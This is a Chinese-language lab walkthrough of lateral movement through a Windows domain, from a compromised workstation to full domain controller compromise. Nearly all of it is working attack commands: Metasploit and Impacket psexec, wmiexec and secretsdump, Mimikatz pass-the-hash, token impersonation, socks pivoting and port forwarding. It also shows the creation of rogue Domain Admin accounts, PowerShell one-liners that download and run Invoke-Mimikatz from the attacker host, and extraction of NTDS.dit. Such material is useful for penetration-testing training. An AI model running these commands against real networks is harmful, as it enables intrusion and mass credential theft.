0x00 场景
本次实战的目标是获取“redhook.DA”域账户的一个可用凭据。我们从一个已控制的内网主机权限开始,但此主机尚未与目标域控制器处于同一子网中。网络拓扑结构如下:

此外,我们假设攻击者已获取了Client 1主机中的本地管理员缓存认证凭据。在实际的渗透测试中,通常如果网络范围足够大,会通过批处理、VBS、.NET或PowerShell脚本在网络共享上查找相应的存储凭据以获得初始访问权限。本文中,攻击者位于Kali主机上,重点讲述在Windows域环境内横向移动的各种方法(不包括绕过AV的情况)。
0x01 攻击Client 1主机
1. 批处理脚本与信息收集
如上所述,我们通过网络共享上的批处理脚本获取了Client 1(IP: 10.0.0.129)主机的用户认证凭据。脚本示例如下:
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
@echo off
net use "\\10.0.0.129\C$" /user:bob ImSoSecur3! #建立共享
if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
echo "Sigh, more errors on Client1! Copying.."
copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
echo "Yaay, no new errors on Client1!"
)
net use "\\10.0.0.129\C$" /delete
可以通过批处理脚本快速获取目标IP的NetBIOS信息:
nbtscan -vh 10.0.0.129
# or
nbtstat -A 10.0.0.129

也可以使用命令 nbtstat -A IP 执行相同的操作。我们获取到主机名为WIN7-ENT-CLI1,并且它已连接到REDHOOK域。
2. PsExec工具集
使用Metasploit的PsExec模块,在Kali上可以轻松获取Client 1主机的反弹shell。注意,bob是本地账户而非域账户,因此无需使用SMBDomain参数。
msf>use exploit/windows/smb/psexec
msf>set rhost 10.0.0.129
msf>set smbuser bob
msf>set smbpass ImSoSecur3!
msf>show options
msf>exploit

另一种选择是使用Impacket工具包中的psexec.py,它使用RemComSvc模拟PsExec。其优点在于,即使没有明文凭证,它也可以接受哈希传递攻击。
python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd

Windows系统下的官方PsExec.exe工具同样可用于横向移动,它具有签名可执行文件的优势。在此命令中添加“-s”标识将获取SYSTEM权限的Shell。
Psexec.exe \\10.0.0.129 -u bob -p ImSoSecur3! cmd

3. WMI远程管理
WMIC是Windows内置的著名远程命令执行工具,它不仅能执行命令,还能利用WMI获取敏感信息并重新配置系统。
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem list brief /format:list #远程获取计算机信息
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem get username #远程获取目标用户账户信息
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! process call create "calc.exe" #远程创建进程,这里是calc.exe
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! process get Name,ProcessId | findstr calc #远程获取进程ID与名称

4. WmiExec
Impacket工具包中的wmiexec.py可以执行命令并打印输出,提供半交互式Shell,同样支持哈希传递。
python wmiexec.py bob:ImSoSecur3!@10.0.0.129 route print -4 10.*

PowerSploit中的Invoke-WmiCommand使用了PSCredential对象,虽然占用更多内存,但可以获取命令输出并将结果存储在内存中。

5. 哈希传递攻击(WCE和Mimikatz)
有时,我们只能获取目标主机用户的NTLM哈希值,而无法获得明文密码。此时,可以使用Metasploit的psexec或Impacket进行哈希传递。如果环境局限于本地Windows,则可以使用WCE或Mimikatz将NTLM哈希注入到当前进程。
whoami
net use \\10.0.0.129\ADMIN$ #无法连接目标共享,需要提供凭证
wce.exe -s bob::aad3b435b51404eeaad3b435b51404ee:f6c0fa29f4cad745ad04bed1d00a7c82 #通过WCE进行哈希传递
net use \\10.0.0.129\ADMIN$
dir \\10.0.0.129\ADMIN$

WCE可能会触发告警,也可以使用Mimikatz的编译版二进制文件。
net use \\10.0.0.129\ADMIN$
mimikatz.exe
mimikatz# sekurlsa::pth /user:bob /domain:. /ntlm:f6c0fa29f4cad745ad04bed1d00a7c82 #使用pth模块传递哈希
whoami
net use \\10.0.0.129\ADMIN$

请注意,此例中将域设置为“.”,这是因为bob是本地账户。
0x02 在Client 1建立据点
使用Mimikatz获取活动会话的用户凭据,并使用hashdump获取当前未登录的本地账户哈希。
meterpreter>load mimikatz #加载mimikatz模块
meterpreter>tspkg #尝试获取tspkg凭据
meterpreter>msv #获取当前活动会话的msv凭据
meterpreter>hashdump #获取本地主机账户的全部哈希值

2. Secretsdump和Invoke-Mimikatz
也可以使用Impacket的secretsdump.py和PowerSploit的Invoke-Mimikatz。
python secretsdump.py bob:ImSoSecur3!@10.0.0.129
python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
mimikatz(powershell)# sekurlsa::logonpasswords

当然,还有其他方法可以实现相同目的,但以上是几种主要途径。
0x03 信息收集
现在我们已经可以访问REDHOOK域中的一台主机,这台主机还连接着另一个子网。
1. 令牌窃取与模拟
要查询域信息,通常需要一个域用户上下文。当前的bob用户并非域用户,但我们通过NtQuerySystemInformation来发现其他用户的令牌,进而模拟他们登录。Metasploit的incognito插件使这个过程非常简单。
meterpreter>getuid
meterpreter>list_tokens -u
meterpreter>impersonate_token REDHOOK\\asenath.waite
meterpreter>shell
whoami

另外,可以使用Luke Jennings的独立工具incognito,它具有类似PsExec的功能,可以远程使用。
incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! list_tokens -u
incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! execute -c REDHOOK\asenath.waite cmd.exe

2. 域信息收集
现在,我们获取了目标域的一个Shell,需要进行信息收集以扩大战果。通过一系列命令,我们发现了以下关键信息:
- 本地用户
TemplateAdmin 是Client 1和Client 2的管理员。
- 我们已获取
TemplateAdmin的哈希,可用来访问Client 2。
REDHOOK\Administrator账户已在Client 2上通过身份验证。如果在其登录时获取了权限,便可窃取其明文凭据,从而获得域管理员权限。
3. 建立Socks代理
通过Metasploit添加路由,并设置Socks代理,以便通过已攻陷的主机访问目标子网。
meterpreter>run autoroute -h
meterpreter>run autoroute -s 10.1.1.0/24
meterpreter>run autoroute -p
meterpreter>background
msf>use auxiliary/server/socks4a
msf>show options
msf>exploit

使用Session 1建立的路由,通过socks4a代理进行进一步的扫描。
msf>use auxiliary/scanner/smb/smb_version
msf>set rhosts 10.1.1.0/24
msf>set threads 20
msf>show options
msf>exploit

此外,可以通过proxychains工具加载socks代理,使用nmap进行扫描。
proxychains nmap -sTV -p 53,445 -Pn 10.1.1.200

Socks代理通常仅接受TCP通信,在进行操作时需要注意这一限制。虽然Windows原生不支持设置Socks代理,但可以使用netsh创建端口转发。
0x04 攻击Client 2主机
Client 1和Client 2之间共享的本地管理员账户TemplateAdmin表明它们可能具有相同的凭据。因此,攻击Client 2与之前的场景区别不大,主要在于需要通过跳板进行连接,并且可能需要使用账户哈希而非明文密码。
即使通过Metasploit的路由可以到达Client 2,反弹连接也可能难以建立。可以使用portproxy模块在Client 1上创建端口转发规则。
msf>use post/windows/manage/portproxy
msf>set connect_address 10.0.0.128
msf>set ipv6_xp true
msf>set local_address 10.1.1.2
msf>set local_port 9988
msf>set session 1
msf>set type v4tov4
msf>show options
msf>exploit

此规则让Client 1监听10.1.1.2:9988并将流量转发到攻击者的10.0.0.128:9988。随后,配置PsExploit模块,使其载荷连接至Client 1的转发地址。
msf>use exploit/windows/smb/psexec
msf>set rhost 10.1.1.3
msf>set smbuser TemplateAdmin
msf>set smbpass aad3b435b51404eeaad3b435b51404ee:9dc211131a1a1645ce61871a4fdd7b7
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost 10.1.1.2
msf>set lport 9988
msf>exploit
meterpreter>ipconfig

2. Impacket(PsExec)& netsh
我们也可以在Client 1上使用netsh手动设置转发规则。
python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd
netsh interface portproxy add v4tov4 listenaddress=10.0.0.129 listenport=5678 connectaddress=10.1.1.3 connectport=445
netsh interface portproxy dump

现在,我们建立了一条规则,将到达10.0.0.129:5678的流量转发到10.1.1.3:445。为此,需要修改Impacket的psexec.py源码以支持自定义端口。

修改并保存后,即可通过端口转发攻击Client 2。
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9dc211131a18a1645ce61871a4fdd7b7 TemplateAdmin@10.0.0.129 cmd
ipconfig

完成后,记得清理端口转发规则:netsh interface portproxy reset。
0x05 在Client 2建立据点
这与第一种情况类似,取决于REDHOOK\Administrator在Client 2上进行身份验证的方式。
meterpreter>load mimikatz
meterpreter>tspkg
meterpreter>msv
meterpreter>hashdump

寻找以REDHOOK\Administrator身份运行的进程,并使用incognito模拟其令牌。
meterpreter>shell
tasklist /v /fo csv | findstr REDHOOK\\Administrator
meterpreter>load incognito
meterpreter>impersonate_token REDHOOK\\Administrator
meterpreter>shell
whoami
net user b33f t0tallyL3git! /add /domain
net group "Domain Admins" b33f /add /domain

2. Impacket (PsExec) & incognito
使用incognito来执行远程命令。可以将incognito上传到目标,并通过批处理文件执行多条命令。
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9dc211131a18a1645ce61871a4fdd7b7 TemplateAdmin@10.0.0.129 cmd
cd ..
put /var/www/html/incognito.exe
incognito list_tokens -u
echo net user b33f_2 t0tallyL3git! /add /domain >runme.bat
echo net group "Domain Admins" b33f_2 /add /domain >>runme.bat
incognito execute -c "REDHOOK\Administrator" "cmd.exe /c c:\windows\runme.bat"

运行后重新登录验证结果:
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9dc2111131a18a1645ce61871a4fdd7b7 TemplateAdmin@10.0.0.129 cmd
cd ..
del runme.bat
del incognito.exe
net user b33f_2 /domain

3. 文件传输
显然,使用Impacket的PsExec中的“put”命令上传文件很方便。通常,一个好方法是将可能需要的所有工具预先上传到目标主机,也可以使用PowerShell的WebClient或bitsadmin等工具进行下载。
0x06 攻击域控制器(Redrum-DC)
至此,我们要么找到了REDHOOK\Administrator的凭据,要么创建了自己的域管理员账户。这意味着攻击域控制器的过程与攻击Client 2的过程基本相同。
1. Socks Proxy & Impacket (WmiExec)
使用之前建立的socks代理,可以方便地访问域内网络。
proxychains python wmiexec.py REDHOOK/administrator:QazWsxEdc123!@10.1.1.200
whoami
ipconfig
powershell -exec bypass -command 'Get-windowsFeature | findstr [x]'

2. Sysinternals (PsExec) & Invoke-Mimikatz
获取初始目标REDHOOK\redhook.DA账户的凭据。此示例在Client 1上以REDHOOK\Administrator权限获得shell,然后远程在DC上执行Mimikatz。
PsExec.exe \\10.0.0.129 -u REDHOOK\administrator -p QazWsxEdc123! cmd
whoami
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz -command 'privilege::debug sekurlsa::msv exit' -ComputerName 'Redrum-DC'"

由于Windows Server 2012 R2 / Windows 8.1+上的增强保护,可能无法直接获得明文,但成功获取了REDHOOK\redhook.DA的NTLM哈希,足以以此用户身份向域内其他计算机进行身份验证。
python wmiexec.py -hashes 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDHOOK/redhook.DA@10.0.0.129
whoami

0x07 提取NTDS.dit
很多时候,提取NTDS.dit意味着渗透进入尾声。下面介绍通过本地shell或WMI远程执行命令来提取域哈希的方法。
1. 卷影复制(经典方法)
最基本的方法是使用vssadmin创建卷影副本来复制文件。
C:\> whoami
redhook\redhook.da
# 获取NTDS路径
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
# 创建C盘的卷影副本
C:\> vssadmin create shadow /for=c:
# 复制出ntds.dit和SYSTEM注册表配置单元
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
将文件拖回攻击者机器后,使用Impacket的secretsdump.py进行解析。
python secretsdump.py -ntds /root/Desktop/ntds.dit -system /root/Desktop/system.hive local

注意,NTDS.dit文件可能包含成千上万个用户,体积庞大,导出时需小心。
2. Socks Proxy & Impacket (SecretsDump) 简便模式
如果我们有socks代理,并且有域管理员凭据,可以直接远程执行SecretsDump来提取所有哈希。
proxychains python secretsdump.py -hashes 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDHOOK/redhook.DA@10.1.1.200

至此,我们完成了从初始立足点到完全控制域控制器的完整横向移动过程,演示了在安全/渗透/逆向测试中多种实用技术和工具的组合运用。